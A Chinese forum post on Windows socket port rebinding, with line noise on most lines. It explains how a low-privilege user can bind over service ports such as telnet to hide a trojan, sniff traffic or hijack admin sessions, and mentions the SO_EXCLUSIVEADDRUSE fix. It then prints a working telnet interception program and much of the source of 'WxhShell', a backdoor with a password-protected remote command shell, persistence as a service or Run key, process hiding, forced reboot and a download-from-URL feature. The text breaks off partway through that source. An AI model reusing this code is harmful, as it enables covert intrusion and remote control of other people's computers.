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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9;^r  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bnz2\C9^  
]S6`",+)<f  
  saddr.sin_family = AF_INET; dT%$"sj5  
DUk&`BSJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &_^t$To  
4X@ <PX5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0z2A!ap  
p. eq N  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y?(kE` R  
K{}U[@_tS  
  这意味着什么?意味着可以进行如下的攻击: A?V[/  
nl)!)t=n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n4cM /unU  
vap,)kILF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) MqBA?7  
!TH3oLd"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +P?!yH,n  
>[=fbL@N<@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G/nSF:rp  
2FxrMCC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Gk9Y{  
tSVN}~1\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }dl[~iKW  
|D %m>M6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +0016UgS#  
ze<Lc/;X~  
  #include K85;7R5  
  #include !1tHg Z2\  
  #include }7>r,  
  #include    fb7Gy  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s4@dEK8W  
  int main() 2F0@M|'  
  { W0X/&v,k*  
  WORD wVersionRequested; qn VxP&  
  DWORD ret; 7cGc`7  
  WSADATA wsaData; 4aAuE0  
  BOOL val; d`he Wv^/`  
  SOCKADDR_IN saddr; 2NHkK_B1P  
  SOCKADDR_IN scaddr; M^c`j#NQ  
  int err; U{vt9t  
  SOCKET s; +>#SB"'  
  SOCKET sc; 42a.@JbLQ  
  int caddsize; 2sj[hI  
  HANDLE mt; I%]~]a  
  DWORD tid;   Q k e8BRBn  
  wVersionRequested = MAKEWORD( 2, 2 ); }pJ6CW  
  err = WSAStartup( wVersionRequested, &wsaData ); t6GL/M4  
  if ( err != 0 ) { )[d?&GK  
  printf("error!WSAStartup failed!\n"); 9 )1 8  
  return -1; 2lVJ"jg  
  } /;7\HZ$@/  
  saddr.sin_family = AF_INET; ~c&ygL3  
   3;@/`Z_\lt  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'OI Ol  
!}Sf?n P#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >wz& {9ni  
  saddr.sin_port = htons(23); G%{J.J41F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >h^CC*&'pw  
  { u^DfRd&P0  
  printf("error!socket failed!\n"); yrp5\k*{y  
  return -1; hk =nXv2M  
  } F)ak5  
  val = TRUE; {:U zW\5l)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 O)y|G%O  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J<g$hk  
  { k8 !|WqfP  
  printf("error!setsockopt failed!\n"); v6Vieo=  
  return -1; Sz_bjhyT}  
  } ,/?7sHK-0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Y>Oh]?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BHoy:Tp  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rI/;L<c  
~#z8Q{!O  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b@GL*Z  
  { bXVH7Fy  
  ret=GetLastError(); /.54r/FN')  
  printf("error!bind failed!\n"); z_Em%X  
  return -1; [1+ o  
  } [BPK0  
  listen(s,2); ,8~q nLy9  
  while(1) 'Z(KE2&?  
  { b.h:~ATgN  
  caddsize = sizeof(scaddr); J7Z`wjX1  
  //接受连接请求 L5(7;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cK( )_RB#  
  if(sc!=INVALID_SOCKET) sGg=4(D  
  { Z~&$s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m<7Ax>  
  if(mt==NULL) tM&O<6Y  
  { ]>j>bHG  
  printf("Thread Creat Failed!\n"); 1k=w 9  
  break; N4]Sp v  
  } h(M_ K  
  } ^^q9+0@  
  CloseHandle(mt); #%Z 0!  
  } 0\qLuF[)  
  closesocket(s); R,]J~TfPK  
  WSACleanup(); fN)A`>iP  
  return 0; ]H ze  
  }   Sz!mn  
  DWORD WINAPI ClientThread(LPVOID lpParam) N*J!<vY"  
  { ]]sy+$@~  
  SOCKET ss = (SOCKET)lpParam; )4nf={iM  
  SOCKET sc; M)m(  
  unsigned char buf[4096]; ;iol 2  
  SOCKADDR_IN saddr; .<#oLM^  
  long num; Uq}FrK}  
  DWORD val; #6fQ$x(F#j  
  DWORD ret; 41-u*$   
  //如果是隐藏端口应用的话,可以在此处加一些判断 g0Rny  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ss{y=O%9"  
  saddr.sin_family = AF_INET; #$-zg^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *d~).z)  
  saddr.sin_port = htons(23); b-)m'B}`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HuVx^y` @  
  { = aO1uC|6C  
  printf("error!socket failed!\n"); kn$2_I9  
  return -1; kGz0`8U Ru  
  } Ox| ?  
  val = 100; !hMD>B2Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eo#2n8I>=1  
  { a ~  
  ret = GetLastError(); !?AgAsSmc  
  return -1; V-1H(wRu  
  } 5|nT5oS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n(}cK@  
  { %-lilo   
  ret = GetLastError(); bD2):U*Fzo  
  return -1; &ikPa,A  
  } D^_]x51>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B//2R)HS  
  { p`+=) n  
  printf("error!socket connect failed!\n"); [8kufMY|  
  closesocket(sc); `;`fA|F^  
  closesocket(ss); VVd9VGvh  
  return -1; teQ <v[W.  
  } OON]E3yy  
  while(1) "b~-`ni  
  { Gy]ZYo(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6dH> 0l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (+(YQ2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J!\Cs1 !f  
  num = recv(ss,buf,4096,0); ]'.D@vFGO  
  if(num>0) f9%M:cl  
  send(sc,buf,num,0); =c-Y >  
  else if(num==0) K~ch OX  
  break; 0Z.X;1=  
  num = recv(sc,buf,4096,0); MH0xD  
  if(num>0) h!~Qyb>W  
  send(ss,buf,num,0); v=pkze  
  else if(num==0) _?}[7K!~d  
  break; hL?"!  
  } [-5l=j r  
  closesocket(ss);  ~ERA  
  closesocket(sc); yQ [n7du  
  return 0 ; )yl;i  
  } ZwFVtR  
oCxh[U@*D  
.!`y(N0hc  
========================================================== tM:%{az  
S5+W<Qs  
下边附上一个代码,,WXhSHELL 7hzd.  
["u:_2!4P  
========================================================== HV?Q{X K.b  
vY"i^a`f  
#include "stdafx.h" 'NAC4to;;  
{Mv$~T|e7  
#include <stdio.h> 2Wx~+@1y  
#include <string.h> =Hd+KvA  
#include <windows.h> >)j`Q1Qc\  
#include <winsock2.h> rOo |.4w  
#include <winsvc.h> s7Z+--I)L  
#include <urlmon.h> 2ophh/]  
+Oafo|%  
#pragma comment (lib, "Ws2_32.lib") d71|(`&  
#pragma comment (lib, "urlmon.lib") DtFzT>$^F  
h,fC-+H5  
#define MAX_USER   100 // 最大客户端连接数 BO%aCK&  
#define BUF_SOCK   200 // sock buffer UhX)?'J  
#define KEY_BUFF   255 // 输入 buffer %wQE lkB  
qS!U1R?s  
#define REBOOT     0   // 重启 nB9(y4  
#define SHUTDOWN   1   // 关机 FoX,({*Ko~  
)*`cJ_t  
#define DEF_PORT   5000 // 监听端口 xbNL <3"a  
<*3#nA-O>i  
#define REG_LEN     16   // 注册表键长度 '}, 8x?  
#define SVC_LEN     80   // NT服务名长度 +H  SKFp  
s#p\ r  
// 从dll定义API Qn!KL0w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); khb/"VYd  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t%fcp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K} ) w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B.#.gB#C  
GlOSCJZ  
// wxhshell配置信息 bjr()NM1  
struct WSCFG { ra|Ku!  
  int ws_port;         // 监听端口 gWGh:.*T  
  char ws_passstr[REG_LEN]; // 口令 cna/?V  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8#ZF<B Y  
  char ws_regname[REG_LEN]; // 注册表键名 }8Yu"P${Y  
  char ws_svcname[REG_LEN]; // 服务名 V6!1(|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2uzy]faM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m85H x1!p.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K 9tr Iy$v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c>b{/92%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o^3X5})sv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v/GZByco>  
iO dk)  
}; "KKw\i  
O"ebrv  
// default Wxhshell configuration >|rU*+I`  
struct WSCFG wscfg={DEF_PORT, s?7"iE  
    "xuhuanlingzhe", 7m.>2U   
    1, y[DS$>E  
    "Wxhshell", oC~+K@S  
    "Wxhshell", fA"9eUu  
            "WxhShell Service", ^u+#x2$Mg  
    "Wrsky Windows CmdShell Service", ~[Z,:=z  
    "Please Input Your Password: ", mO0}Go8  
  1, .YlhK=d4  
  "http://www.wrsky.com/wxhshell.exe", X<<FS%:+  
  "Wxhshell.exe" $g!iy'4n*  
    }; {:TOm0eK  
\qkb8H  
// 消息定义模块 560`R>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bWg!/K55  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R*l3 zn>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1'!%$D  
char *msg_ws_ext="\n\rExit."; Lk]W?  
char *msg_ws_end="\n\rQuit."; 6FFM-9*|[  
char *msg_ws_boot="\n\rReboot..."; ftaa~h*  
char *msg_ws_poff="\n\rShutdown..."; )?<V-,D  
char *msg_ws_down="\n\rSave to "; FyWrb+_0v  
B&"c:)1 C2  
char *msg_ws_err="\n\rErr!"; .W51Cup@&  
char *msg_ws_ok="\n\rOK!"; ;$g?W"  
Sv\399(  
char ExeFile[MAX_PATH]; )ml#2XP!f  
int nUser = 0; @y/!`Ziw  
HANDLE handles[MAX_USER]; 'B;n&tJ   
int OsIsNt; {.r #j|  
giHqc7-PaX  
SERVICE_STATUS       serviceStatus; * zc[t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <N8z<o4rku  
F13vc~$Ky  
// 函数声明 eL1)_M;{  
int Install(void); w^^8*b<  
int Uninstall(void); srryVqgS  
int DownloadFile(char *sURL, SOCKET wsh); fbW<c`LH  
int Boot(int flag); 30b dcDm,  
void HideProc(void); "J{A}g[  
int GetOsVer(void); [8'^"  
int Wxhshell(SOCKET wsl); ]Q -.Y-J/O  
void TalkWithClient(void *cs); z,g\7F[  
int CmdShell(SOCKET sock); >9,LN;Ic  
int StartFromService(void); ,0aRHy_^  
int StartWxhshell(LPSTR lpCmdLine); 3 p!t_y|SX  
jJV1 /]TJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l}~9xa}:D|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 42=/$V  
oC}2 Z{  
// 数据结构和表定义 L}VQc9"gc  
SERVICE_TABLE_ENTRY DispatchTable[] = _Jn@+NoO  
{ Rnw v/)  
{wscfg.ws_svcname, NTServiceMain}, XBm ^7'  
{NULL, NULL} XB<Q A>dLh  
}; N=j$~,yG  
o('6,D  
// 自我安装 H`nd |  
int Install(void) *})Np0k  
{ !X\aZ{}Q  
  char svExeFile[MAX_PATH]; d Z x  
  HKEY key; N>IkK*v  
  strcpy(svExeFile,ExeFile); BeFXC5-qat  
\t]_UNGyW  
// 如果是win9x系统,修改注册表设为自启动 U nS|""  
if(!OsIsNt) { tja7y"(]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xTy)qN]P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `8kL=%(h  
  RegCloseKey(key); T~~K~a \8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3 (F+\4aRm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q6r7UM  
  RegCloseKey(key); >/'/^h  
  return 0; Pv\-D<&@m  
    } oO9yI^  
  } ]Cp`qayct  
} ?:3rVfO  
else { :'sMrf_EA  
Je~`{n  
// 如果是NT以上系统,安装为系统服务 q>m[vvt"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gT2k}5d}p  
if (schSCManager!=0) x{3q'2  
{ hw1J <Pl*  
  SC_HANDLE schService = CreateService sOm&7A?  
  ( {j%7/T{  
  schSCManager, /\U:F  
  wscfg.ws_svcname, %$F_oO7"  
  wscfg.ws_svcdisp, X<d`!,bn@  
  SERVICE_ALL_ACCESS, [0H]L{yV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (H-kWT  
  SERVICE_AUTO_START, BOme`0A  
  SERVICE_ERROR_NORMAL, 3-gy)5.x e  
  svExeFile, SHQgI<D7  
  NULL, 0}q*s!  
  NULL, *l)}o4-$  
  NULL, cG!dMab(  
  NULL, c3N,P<#  
  NULL R) J/z  
  ); Xz"xp8Hc(6  
  if (schService!=0) 2U) 0k *  
  { U98e=57N  
  CloseServiceHandle(schService); [s F/sa 3  
  CloseServiceHandle(schSCManager); Hd{@e6S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V eLGxc  
  strcat(svExeFile,wscfg.ws_svcname); iZ9ed ]mf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0W,.1J2*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d_ji ..T  
  RegCloseKey(key); oG=4&SQ  
  return 0; +0M0g_sk  
    } S6{u(= H  
  } Dyh|F\T  
  CloseServiceHandle(schSCManager); N a<);Pg  
} Mh=j^ [4Q  
} w\ddC DZ  
0A F}wz>  
return 1;  6Ok]E`  
} qP72JxT  
x<=R?4@rq  
// 自我卸载 I~ e,']  
int Uninstall(void) B>%;"OMp  
{ X{P=2h#g  
  HKEY key; } ^WmCX2a  
.QB)Y* z  
if(!OsIsNt) { 8UXtIuQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "B0I$`~wu  
  RegDeleteValue(key,wscfg.ws_regname); HJ;!'@  
  RegCloseKey(key); n4o}}tI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MGsY3~!K  
  RegDeleteValue(key,wscfg.ws_regname); m:c .dei5  
  RegCloseKey(key); newURb,-!  
  return 0; @cn8m  
  } u6i X&%e  
} 40%<E  
} c.}#.-b8  
else { Xn%O .yM6  
{=9"WN    
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (1Klj+"p%  
if (schSCManager!=0) dg4q+  
{ r?HbApV P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GxA[N  
  if (schService!=0) $J*lD -h-  
  { @gk{wh>c  
  if(DeleteService(schService)!=0) { unt{RVR%  
  CloseServiceHandle(schService); P9 qZjBS  
  CloseServiceHandle(schSCManager); =a(]@8$!1  
  return 0; PBgU/zVn  
  } T} K@ykT  
  CloseServiceHandle(schService); WntolYd  
  } gq050Bl)  
  CloseServiceHandle(schSCManager); u|75r%p>  
} sv2XD}}  
} [!U! Z'i  
N_?15R7h  
return 1; >`I%^+ z  
} 13f 'zx(AO  
Uac.8wQh  
// 从指定url下载文件 ?4#wVzuzA  
int DownloadFile(char *sURL, SOCKET wsh) \12y,fOJ  
{ tfVlIY<  
  HRESULT hr; UP*5M  
char seps[]= "/"; ?P(U/DS8  
char *token; @# GS4I  
char *file; 8Od7e`  
char myURL[MAX_PATH]; U;LX"'}  
char myFILE[MAX_PATH]; x2tcr+o  
:\~YbA  
strcpy(myURL,sURL); 8BX9JoDi  
  token=strtok(myURL,seps); 2j=HxE  
  while(token!=NULL) K?*p|&Fi?8  
  { g:Ry.=F7W  
    file=token; 4f'!,Q ;  
  token=strtok(NULL,seps); YtA<4XHU  
  } #aIV\G  
K/z2.Npn  
GetCurrentDirectory(MAX_PATH,myFILE); 8JU{]Z!G<;  
strcat(myFILE, "\\"); [vOk=  
strcat(myFILE, file); :]9CdkaU  
  send(wsh,myFILE,strlen(myFILE),0); .-GC,&RO  
send(wsh,"...",3,0); S>y}|MG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iO7s zi  
  if(hr==S_OK) lCGEd  3  
return 0; %:\GYs(Y  
else A}_0iwG  
return 1; VbX$\Cs:  
;Hn>Ew  
} QI`&N(n  
uLrZl0%HT~  
// 系统电源模块 >9t+lr1   
int Boot(int flag) c=33O,_  
{ Z5,"KhB]  
  HANDLE hToken; JdX!#\O  
  TOKEN_PRIVILEGES tkp; t!o=-k  
K9) |b`E=  
  if(OsIsNt) { .7> g8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bZu2.?{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tkW7wP;  
    tkp.PrivilegeCount = 1; =1zRm >m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |l:,EA_v|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fHXz{,?/w  
if(flag==REBOOT) { U _~r0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8}?w %FsN#  
  return 0; fk\hrVP  
}  jRhRw;  
else { "89L^I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rAS2qt  
  return 0; Vn?|\3KY  
} 69N8COLB  
  } .cB>ab&  
  else { S%o6cl=  
if(flag==REBOOT) { scZ&}Ni  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <%S[6*6U  
  return 0; o^Qy71Uj  
} rS_pv=0S  
else { CmdPa!4)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~LJtlJ 0  
  return 0; [uFv_G{H  
} 'W/AYF^5  
} cX|(/h,W/  
R_b)2FU1y  
return 1; ZV$!dHW/  
} -* W\$ P  
'3 JVUHn  
// win9x进程隐藏模块 @^nE^;  
void HideProc(void) dm"|\7  
{ L 7l"*w(  
W/u_<\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E+~1GKd  
  if ( hKernel != NULL ) r=<1*u  
  { Xuj=V?5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Za7!n{? 0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t LM/STb6  
    FreeLibrary(hKernel); ET\rd5Po  
  } jV(b?r)eT{  
D{M& >.  
return; +Oc |Oo  
} xOKf|  
Xvxj-\ -  
// 获取操作系统版本 GP_%. fO\M  
int GetOsVer(void) ;9hS_%ldX4  
{ *ch7z|wo.  
  OSVERSIONINFO winfo; G@rV9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #|F5Kh"  
  GetVersionEx(&winfo); @Op7OFY%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Qk].^'\  
  return 1; rDC=rG  
  else >g2Z t;*@w  
  return 0; Q'0:k{G  
} oPrK{flm  
J1Oe`my  
// 客户端句柄模块 lSBu,UQP  
int Wxhshell(SOCKET wsl) Y 9@ 2d  
{ ;2'/rEq4o  
  SOCKET wsh; Os1=V  
  struct sockaddr_in client; %QQJSake|  
  DWORD myID; Z%QU5.  
T.q7~ba*  
  while(nUser<MAX_USER) E|x t\ *  
{ FH7l6b,^  
  int nSize=sizeof(client); lD,;xuQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TCK<IZKLqK  
  if(wsh==INVALID_SOCKET) return 1; 3($tD*!o  
]~\%ANoi  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,AyQCUz{*?  
if(handles[nUser]==0) ;:8SN&).  
  closesocket(wsh); HA~BXxa/  
else tfPe-U  
  nUser++; 4AYW'j C  
  } sNsWz.DLT#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :Kk+wp}f #  
nmClP  
  return 0; 53l!$#o  
} I04c7cDp  
bjql<x5d  
// 关闭 socket aR}Il&  
void CloseIt(SOCKET wsh) 6dKJt  
{ j9*5Kj  
closesocket(wsh); ~[:Cl  
nUser--; y@Ak_]{b  
ExitThread(0); "2hs=^&8  
} )J1xO^tE  
0> U7]wZKc  
// 客户端请求句柄 'J_6SD  
void TalkWithClient(void *cs) :F pt>g  
{ [wM]w  
+%)bd  
  SOCKET wsh=(SOCKET)cs; >44,Dp]  
  char pwd[SVC_LEN]; i=\`f& B  
  char cmd[KEY_BUFF]; oTk?a!Q  
char chr[1]; 8 G:f[\^  
int i,j; y hNy  
5wa!pR\c  
  while (nUser < MAX_USER) { IV|})[n*  
{3K`yDF  
if(wscfg.ws_passstr) { :-e[$6}S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %B04|Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &'W ~~ir  
  //ZeroMemory(pwd,KEY_BUFF); oZw#]Q@  
      i=0; 8GT4U5c ;  
  while(i<SVC_LEN) { $zJ!L  
!Er)|YP  
  // 设置超时 DUvF  
  fd_set FdRead; SAokW,  
  struct timeval TimeOut; AO]1`b:  
  FD_ZERO(&FdRead); 7X/KQ97  
  FD_SET(wsh,&FdRead); ZW`wA2R0   
  TimeOut.tv_sec=8; 1_5]3+r_U-  
  TimeOut.tv_usec=0; b}Wm-]|+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aThvq%;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H*h4D+Kxv  
4[ =C,5r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U9x6\Iy  
  pwd=chr[0]; ;#ElJXS  
  if(chr[0]==0xd || chr[0]==0xa) { "]x#kM  
  pwd=0; ]I(<hDuRp  
  break; aU%QJ#j  
  } Io]KlR@!T  
  i++; 4/ Xu,pT  
    } `0Xs!f  
]ujXPK=t  
  // 如果是非法用户,关闭 socket 6}?5Oy_XF2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P/T`q:<H   
} Sj@VOW  
Sv[$.^mb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DQ%(X&k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1NQU96  
eRB K= X  
while(1) { "eR-(c1  
Fqg*H1I[  
  ZeroMemory(cmd,KEY_BUFF); (?#"S67  
YguY5z  
      // 自动支持客户端 telnet标准   `WlQ<QEi  
  j=0; ]DLs'W;)  
  while(j<KEY_BUFF) { r<EwtO+x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UiH5iZ<r;  
  cmd[j]=chr[0]; _E4_k%8y  
  if(chr[0]==0xa || chr[0]==0xd) { ;6{{hc4  
  cmd[j]=0; s1 (UOd7}  
  break; k5eTfaxl  
  } cD]#6PFA  
  j++; ?T_bjALW  
    } }Ih5`$   
RwDXOdgu  
  // 下载文件 aHBM9%gV  
  if(strstr(cmd,"http://")) { YAYwrKt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R|R3Ob.e  
  if(DownloadFile(cmd,wsh)) W>J1JaO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); osI0m7ws:  
  else K8/I+#j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7nk3^$|  
  } j:xm>X'  
  else { t9[%o=N~lD  
\_AoG8B  
    switch(cmd[0]) { 5~=wia  
  Fz^5cxmw  
  // 帮助 V5S6?V \  
  case '?': { 8QN/D\uq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dW#?{n-H<  
    break; =[IKwmCX  
  } Q6=>*}Cm6m  
  // 安装 \ bv JZ_  
  case 'i': { 8o[+>W  
    if(Install()) *M+CA_I(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :[bpMP<bz;  
    else xZ>@wBQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qz.WF8Sy2  
    break; /[>zFYaQ  
    } CAbT9W z&  
  // 卸载 Pt?d+aBtV  
  case 'r': { $QJ,V~  
    if(Uninstall()) f(.t0{Etq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BaOPtBYA:  
    else 1JF>0ijU@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s Vg89I&  
    break; SaiYdJ  
    } 2>Sr04Pt  
  // 显示 wxhshell 所在路径 vKTCS  
  case 'p': { !=(M P:  
    char svExeFile[MAX_PATH]; . /~#  
    strcpy(svExeFile,"\n\r"); e\ O&Xe  
      strcat(svExeFile,ExeFile); `;z;=A*  
        send(wsh,svExeFile,strlen(svExeFile),0); Zie t-@}  
    break;  4B'-tV  
    } =xRxr @  
  // 重启 y+P$}Nru  
  case 'b': { {#H'K*j{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !l~3K(&4  
    if(Boot(REBOOT)) B}npom\tC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +M.!_2t$2  
    else { 1 eMaKT_=  
    closesocket(wsh); !k=~a]  
    ExitThread(0); -ZBSkyMGy  
    } WZ^u%Z  
    break; +3k#M[Bn}  
    }  f%c-  
  // 关机 "Sd2VSLg  
  case 'd': { @rxfOc0J#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r9$7P?zm  
    if(Boot(SHUTDOWN)) 1zc-$B`t  
